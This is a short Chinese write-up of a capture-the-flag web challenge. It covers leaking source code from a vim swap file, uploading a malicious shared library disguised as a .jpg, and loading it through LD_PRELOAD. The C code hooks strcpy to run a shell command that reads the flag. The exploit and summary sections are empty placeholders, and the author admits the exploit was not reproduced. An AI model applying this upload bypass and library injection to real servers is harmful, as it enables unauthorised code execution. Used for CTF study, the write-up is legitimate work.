Problem: [UUCTF 2022 新生赛]uploadandinject
[[toc]]
思路
LD_PRELOAD注入

根据提示,访问hint.php
提示我们下载index.php.swp
payload:http://node5.anna.nssctf.cn:28853/.index.php.swp
vim -r index.php.swp查看源代码

发现我们可以上传一个文件,然后LD_PRELOAD到这个恶意文件来执行命令获得flag
生成恶意文件
#include <stdlib.h> #include <stdio.h> #include <string.h> void payload() { //反弹shell system("cat /f*"); } char *strcpy (char *__restrict __dest, const char *__restrict __src) { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); }
gcc -shared -fPIC shell.c -o shell.so
文件上传
我们这里通过目录扫描发现文件上传点upload/upload.php。
可以把shell.so修改为shell.jpg这样可以绕过检测成功上传而不影响恶意文件的执行。
上传成功后,我们在最开始的界面访问恶意文件得到flag

EXP
- 具体攻击代码
总结
- 对该题的考点总结

参照wp没复现成功,用自己的vps迟迟没有shell反弹回来,我是小丑.jpg